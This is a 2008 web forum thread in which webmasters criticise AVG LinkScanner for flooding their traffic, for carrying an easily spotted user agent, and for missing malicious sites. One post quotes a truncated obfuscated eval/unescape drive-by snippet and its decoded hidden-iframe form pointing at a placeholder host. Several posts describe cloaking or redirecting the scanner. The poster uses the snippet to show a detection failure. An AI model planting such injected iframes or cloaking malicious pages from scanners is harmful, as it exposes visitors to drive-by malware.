homepage Welcome to WebmasterWorld Guest from 54.161.214.221
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Become a Pro Member

Home / Forums Index / Search Engines / Search Engine Spider and User Agent Identification
Forum Library, Charter, Moderators: Ocean10000 & incrediBILL

Search Engine Spider and User Agent Identification Forum

This 219 message thread spans 8 pages: < < 219 ( 1 [2] 3 4 5 6 7 8 > >     
Register Scolds AVG For Generating Fake Traffic As Link Malware
Webmasters Complain AVG Debilitating Traffic Analytics
Samizdata




msg:3674412
 8:52 pm on Jun 13, 2008 (gmt 0)

In an otherwise interesting article about AVG LinkScanner the author spectacularly misses the point that because it can easily be identified it is worse than useless as a security tool.

But he does tell malware infested drive-by download sites how to fool it.

[theregister.co.uk...]

...

 

Romeo




msg:3675789
 9:54 am on Jun 16, 2008 (gmt 0)

Redirect the toolbar agent to the AVG home page might get things moving.

Seb7, thanks, you made my day !

R.

Staffa




msg:3675817
 10:43 am on Jun 16, 2008 (gmt 0)

Redirect the toolbar agent to the AVG home page might get things moving.

I have already one site that's doing it and I intend to implement it on all the others.
It has reduced their requests to one instead of 3 or 4 per IP.

Surely, they are not going to label their own site as "unsafe"

Status_203




msg:3675915
 1:44 pm on Jun 16, 2008 (gmt 0)

Not the brightest agent on the web.

Due to a "feature" on my websites, on one of them ~1000 out of the last 6000 http requests has been from a single ip address with the relevant user agent.

They'll have to do more than just change the user agent to get this to fly under the radar.

incrediBILL




msg:3676044
 4:08 pm on Jun 16, 2008 (gmt 0)

I've been digesting all the comments about this situation and someone made a very scary point about the Link Scanner.

Imagine the not-so-uncommon scenario where you query Google and some unsavory sites are displayed in the search results, such as adult content, gambling, some of it possibly illegal where you live.

The Link Scanner could quickly access those sites logging your IP as a visitor and create either AUP violations or break laws based on your current location without you even knowing about it.

In this scenario it could easily cost you an ISP, job or worse, put you in trouble with the law. Then trying to explain how you never visited that site when they have proof to the contrary, especially with less than technically savvy types, that should be fun.

This just gets better and better...

Romeo




msg:3676074
 4:42 pm on Jun 16, 2008 (gmt 0)

Yeah, and your company proxy is logging all these Link Scanner scrapings as visits on your own behalf.

For every single one Google search, you additionally get 10 (or 20 /30 /50 /100, depending on your Google SERP settings) unrelated extra visits accounted.

"You are surfing quite a lot over the day, instead of doing your duty work. And why have you been <here> and <there>?"

Samizdata




msg:3676189
 7:20 pm on Jun 16, 2008 (gmt 0)

I've been digesting all the comments about this situation

I just read the LinkScanner comments on The Register and the level of ignorance is astonishing.

I couldn't help noticing, though, that it is only a couple of days since an AVG representative was perfectly happy to post there, and I saw another AVG employee responding about the LinkScanner problem on a technical forum at the weekend.

Both responses were anodyne corporate-speak of the "we're looking into it and will get back to you" variety which (as Jim pointed out) is all that can be expected in the circumstances, but I remain baffled as to why AVG so pointedly snubbed the one site that understood the problem and could actually help them.

Does WebmasterWorld have a reputation for evil that I don't know about?

...

clum




msg:3676219
 7:54 pm on Jun 16, 2008 (gmt 0)

Does WebmasterWorld have a reputation for evil that I don't know about?

Nah,don't think so, juts the usual - hear no evil, speak no evil, & no personal vendattas

- sure, then there's the I can't dump brain in one thread and expect to be (read as) right// then thered's the ever changing bit where everyne lives and learns - tis the way of the world or this wouldn't happen would it if everyone knew everything?

incrediBILL




msg:3676231
 8:12 pm on Jun 16, 2008 (gmt 0)

remain baffled as to why AVG so pointedly snubbed the one site that understood the problem and could actually help them

Perhaps it was because we were on the forefront of this breaking story with the most accurate information available anywhere.

Receptional Andy




msg:3676238
 8:25 pm on Jun 16, 2008 (gmt 0)

From a lot of reading about this 'feature' here and elsewhere, I get the feeling that perhaps LinkScanner was never intended to be a security feature at all - IMO it's there to get marketing 'eyeballs' for AVG, which it succeeds in doing by appearing as part of one of their userbase's common most browsing activities. And perhaps to make users feel that if they use another AV without ticks next to results, they are somehow less 'safe'.

If my speculation is anywhere near the truth, then LinkScanner 'works', despite significant problems for webmasters, and apparently significant problems for many AVG users. Perhaps they expected fallout, but not quite as much as they received.

And of course, in the absence of any early (or even late!) response to this thread in particular, a large section of participants will appear somewhat hostile. Of course, the way to diffuse this 'hostility' is to address some of people's concerns. This doesn't look like it's going to happen any time soon if the 'breaking eggs' comment is anything to go by ;)

incrediBILL




msg:3676252
 8:41 pm on Jun 16, 2008 (gmt 0)

a large section of participants will appear somewhat hostile

What confuses me is you would think they'd feel more at ease to discuss it here as WebmasterWorld has been quite a bit more civilized about this issue than other places that AVG has posted comments.

Perhaps they are misinformed about the number of eyeballs reading WebmasterWorld?

Oh well, with such a reputation management nightmare unfolding, it's just one more snafu to add to the pile!

[edited by: incrediBILL at 8:42 pm (utc) on June 16, 2008]

Samizdata




msg:3676268
 9:18 pm on Jun 16, 2008 (gmt 0)

if the 'breaking eggs' comment is anything to go by

My eggs remain intact - neither AVG LinkScanner nor the Exploit Prevention Labs version even manage to scratch the shells, as both products are so absurdly easy to fool.

Roger Thompson's blog seems quiet though: [blogs.avg.com...]

...

g1smd




msg:3676333
 10:53 pm on Jun 16, 2008 (gmt 0)

I have been a happy AVG user for many years - until now.

I have directly recommended it to, or installed it on the machines of, in excess of 500 different people in that time.

I gather that there's a mass uninstall going on right now in this part of the world, after I pointed them at this thread.

Samizdata




msg:3676344
 11:54 pm on Jun 16, 2008 (gmt 0)

we were on the forefront of this breaking story with the most accurate information available anywhere

Credit for that is due to all the WebmasterWorld members who contributed in the various (and sometimes confusing) threads about AVG LinkScanner ever since the issue was first raised on 31 March.

Special honours to everyone who tried to contact AVG to help them in those eleven weeks, and to the many who offered suggestions in the forums on what the company needed to do - if AVG had listened they would not be in such a mess now.

As for hostility, AVG should be aware that representatives from Google, Microsoft (arguably the most hated company in the world) and other corporations are happy to post on WebmasterWorld because they know they will get valuable feedback from the people who matter (their customers) and can safely ignore any ranting.

Even if AVG turn up at this late stage I am sure they will be welcomed.

But I doubt if anyone will have a solution for their biggest problem - they have handed a database of their customers' IP addresses to the opposition, and nothing they do will ever get it back.

...

rise2it




msg:3676408
 2:37 am on Jun 17, 2008 (gmt 0)

"Imagine the not-so-uncommon scenario ..."

IncrediBill brings up a VERY VERY valid point, and the more I think about it, the scarier it is.

I've installed AVG Free on probably a hundred machines (for other people), and run paid versions on my stuff.

Bye-bye, AVG...I won't be renewing, and I'll find something safer to install for everyone.

razoras




msg:3676908
 6:29 pm on Jun 17, 2008 (gmt 0)

I sadly had to drop AVG at home due to performance issues (crashes, bluescreens) it was causing with specific software I needed to run on my machine. Looks like I dodged a bullet of sorts.

keyplyr




msg:3677359
 8:13 am on Jun 18, 2008 (gmt 0)

I've uninstalled AVG copies on the machines I use and am doing the same for anyone else who requests it since McAfee has partnered with our ISP (Cox broadband) and now offers their software free; came at an opportune time.

Samizdata




msg:3679169
 2:09 am on Jun 20, 2008 (gmt 0)

The Register writes again about AVG LinkScanner, this time in relation to Google Adwords.

[theregister.co.uk...]

Of LinkScanner designer Roger Thompson the journalist says: "His chief concern is security, and he doesn't want webmasters or malware writers gaming his scanner".

He seems oblivious to the fact that they have been for a month.

...

g1smd




msg:3679984
 1:43 am on Jun 21, 2008 (gmt 0)

Is anyone from El Reg reading this thread?

wilderness




msg:3679990
 1:54 am on Jun 21, 2008 (gmt 0)

Is anyone from El Reg reading this thread?

Believe there's actually three current threads on this
subject ?

Which are seems a bit repetitious ;)

Were you looking for some specific comment or expanded insight?

Don

Samizdata




msg:3680010
 2:53 am on Jun 21, 2008 (gmt 0)

Is anyone from El Reg reading this thread?

The journalist in question seems pretty well briefed.

He managed to extract this amusing quote from AVG's Chief Research Officer:

"In order to detect the really tricky - and by association, the most important - malicious content, we need to look just like a browser driven by a human being".

Which, of course is exactly the opposite of what AVG has been doing - LinkScanner identifies itself with a user-agent that no human being ever uses (and no scammer would ever dream of spoofing).

I believe The Register prides itself on its sense of humour.

On the serious side, The Reg has published useful information on the analytics and bandwith issues, warned their readers exactly what to watch out for, and actually managed to get through to three different AVG bigwigs for comment - and they also credited WebmasterWorld and gave us a link.

Six weeks ago I asked "how long should it be before they change the user-agent to something less conspicuous?" and though it must be qualified as speculation at the moment the latest article suggests that "A fix could arrive as early as this week".

This story is not finished yet.

...

Staffa




msg:3680048
 5:57 am on Jun 21, 2008 (gmt 0)

Actually I don't want them to change their UA. If they want to abuse my bandwidth I want to know exactly who they are. ;o)

Key_Master




msg:3680060
 6:28 am on Jun 21, 2008 (gmt 0)

In order to detect the really tricky - and by association, the most important - malicious content, we need to look just like a browser driven by a human being

Cloak the LinkScanner user-agent and I will write and release an AVG toolbar detector script.

blend27




msg:3680238
 2:33 pm on Jun 21, 2008 (gmt 0)

-- we need to look just like a browser driven by a human being --

At this point they look like an ignorant bunch of chumps. Eggs no eggs, whatever..

Tha sad part is that scraper scripts are starting to use this UA. I've had to fight off a mini DDOS yesterday originating from OVH and Netdirekt using that User Agent and I know 100% that trafic was not a LinkScanner originated. It is not an issue for this site sinse UA is served nothing but a bunch of random HTML. But then again, I could spot a scraper from a mile away, but it's me... What about the rest of the sites out there?

Samizdata




msg:3680257
 3:19 pm on Jun 21, 2008 (gmt 0)

The "Bad Guys" must be laughing all the way to the bank over this.

LinkScanner not only invites them to fool it (which is absurdly easy), but if they redirect it then AVG pays for the bandwidth, and the scammers still get a database of AVG users for future reference.

You couldn't make it up. Which is sad, because the anti-virus product itself is pretty good.

If AVG had any sense - which seems debatable - they would drop LinkScanner completely.

...

Samizdata




msg:3680515
 12:44 am on Jun 22, 2008 (gmt 0)

AVG Technologies (formerly Grisoft) now has a public forum for users which includes a specific section for those using AVG 8 Free Edition and are experiencing problems with LinkScanner:

[freeforum.avg.com...]

I would stress that the forum is intended for AVG users and not for irate or satirical webmasters. It does, however, contain the official AVG response to the article in The Register (posted yesterday) which includes the following:

"we are issuing previously-planned updates to our free and commercial products this week which will address traffic spike and other issues that have arisen since the first releases of AVG 8.0."

It also contains this (also posted yesterday) from a member of the AVG Team:

"if the LinkScanner is to correctly evaluate the user-threat then it must do it "as" a user, not as an identifiable bot"

Which, as we all know, is the opposite of what it has been doing since it launched.

This week's "pre-planned update" should be interesting.

...

incrediBILL




msg:3680614
 6:45 am on Jun 22, 2008 (gmt 0)

OK, we've been debating the LinkScanner methods but how effective is it in actually protecting you from bad things on the web?

Testing LinkScanner Accuracy

Out of curiosity I tested LinkScanner against my own homebrew link checker that I use to validate the submitted listings of my directory. My link checker is pretty rudimentary and probably misses some things but it detects enough that I know it's at least protecting visitors from some bad sites, which are then quarantined, that I used for a comparison test.

Sure, the LinkScanner nailed a few of the sites with the invisible IFrame launcher but it failed to flag one of the sites with an IFrame launcher plainly visible in the HTML!

The site very plainly had that old familiar javascript on it:
eval(unescape('%3C%69%66%72%61%6D%65%20%73%72%..."

Which my code decoded to:
<iframe src=http://example.com/badthings.html width=1 height=1 style="display:none"></frame>

Sure enough, the code loaded an iframe that loaded a questionable site, that redirected through two sites ending at a site in Russia which then redirected somewhere else, yet it was passed as "safe" because we know the bad sites never cloak.

So are they only flagging sites if the malware is found during the linkscan or isn't the presence of the invisible IFrame embedded in the javascript redirecting through Russia enough of a clue?

Anywhere along that redirect chain could be the bad code cloaking good things to the link scanner yet they passed a site that my link checker put in quarantine to protect my visitors.

OK, I'm not a big virus scanning company so what do I know about security?

Here's what I know, I know when I see something bad it should be flagged. I took the source link in that IFrame and did a little research on the web and sure enough, if you send that page with the right parameters it redirected me to a page with a malicious exploit on the page.

I'll give the LinkScanner credit in that it detected a problem when given the right parameters that it too detected the exploit in the destination page but shouldn't the invisible IFrame redirecting through Russia have been enough to flag that site in the first place?

Now to put this thing to the test, I gave the LinkScanner a page from some blog that had spam links to the same malware site and it gave that blog page a clean bill of health.

Would AVG have stopped me from clicking that link or saved me if I did?

I don't know and I'm not going find out, this test is over.

Does LinkScanner Detect Hacked Sites?

Then I ran a few of my sites through the LinkScanner that had been hacked, you know the new SEO hacks where a few hundred spam links are injected into the page?

It said most of those hacked sites, some visibly compromised, were clean except a couple that were flagged as "Link to known exploit site".

Summary

Like I said, I'm sure their LinkScanner does a lot more threat detection than my link checker, but it's pretty scary that my little link checking project which has only a few hours of code written dedicated to malware detection was catching and quarantining things their paid product didn't even flag with a warning and gave a green light.

Now I'm wondering what all the fuss is about with the LinkScanner technology as it took less than an hour and I was able to find malicious sites it overlooked and several ways to fake it that have nothing to do with the ";1813" user agent visibility.

[edited by: incrediBILL at 7:12 am (utc) on June 22, 2008]

Samizdata




msg:3680766
 1:51 pm on Jun 22, 2008 (gmt 0)

several ways to fake it that have nothing to do with the ";1813" user agent

You know that. I know that. The "Bad Guys" know that.

As of 20 June (two days ago) Pat Bitton, head of communications at AVG Technologies, is still posting on other sites to say that webmasters can weed out the "1813" user-agent in order to fix their traffic stats.

This was on the same day that the official AVG response to The Register stated that "previously-planned updates" would address the traffic spike issue this week and on the same day that one of Pat Bitton's colleagues stated on AVG's site that LinkScanner must NOT look like "an identifiable bot" (which it currently does and has done ever since it launched).

The phrase "headless chickens" springs to mind, and this whole story would be hilarious if it wasn't for the fact that millions of innocent users are being put at risk by AVG's continuing incompetence - which, given that we have told them all they need to know, also qualifies as negligence.

Here is another quote (posted Friday) from a member of the AVG Team:

My personal take on this issue is that the LinkScanner has introduced a new dimension to the web

That new dimension appears to be corporate suicide.

...

appi2




msg:3680807
 2:48 pm on Jun 22, 2008 (gmt 0)

fact that millions of innocent users are being put at risk by AVG's continuing incompetence

as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk.

AVG updated yesterday, not sure about the user string. Noticed the link check thing now works in firefox 3 which it did not before.

Samizdata




msg:3680818
 3:17 pm on Jun 22, 2008 (gmt 0)

AVG updated yesterday

The most recent version of AVG Free available for download is dated 5 June.

not sure about the user string

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813)

as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk

With respect, you - and AVG - are missing the point entirely.

If you Google any of my sites they will feed LinkScanner a dummy file and get AVG approval.

Many others here take the amusing approach of telling LinkScanner to check AVG's site instead, and they also get the green checkmark and star of approval while AVG gets the bandwidth cost.

In both cases LinkScanner - and YOU - are being comprehensively fooled by the good guys.

The "Bad Guys" also know how to perform this simple task and the exploit filled websites you mention are under THEIR control, so LinkScanner - and YOU - will be fooled by them also.

Enjoy your drive-by, but don't say you were not warned.

...

incrediBILL




msg:3680919
 6:34 pm on Jun 22, 2008 (gmt 0)

as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk.

I think you missed my post 4 above this, I found multiple instances where it green-lit some of the nastiest sites I've ever seen. When presented with a live invisible IFrame script it followed all the redirects and claimed it was GREEN yet give it a slightly different parameter so it could follow redirects to an explicit malware path, only then claimed it was RED.

It's definitely a risk when it can see the fingerprint of malware yet errs on the side of caution and says the site is OK when there is no valid purpose for that invisible IFrame and that type of code doesn't exist in the tens of thousands of sites I've scanned other than when those sites are compromised.

Yup, enjoy the risk because it's one I wouldn't want to take.

appi2




msg:3680952
 7:48 pm on Jun 22, 2008 (gmt 0)

AVG paid version, updated yesterday.

If you Google any of my sites they will feed LinkScanner a dummy file and get AVG approval.

Nice to know you care more about your sats than your users. Now if your site is hacked an some exploit appears AVG users may get hit as well as non AVG users. Don't call that being one of the good guys.

I'll have a look at my stats tommorow and see if the user agent changed.

This 219 message thread spans 8 pages: < < 219 ( 1 [2] 3 4 5 6 7 8 > >
Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Search Engines / Search Engine Spider and User Agent Identification
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved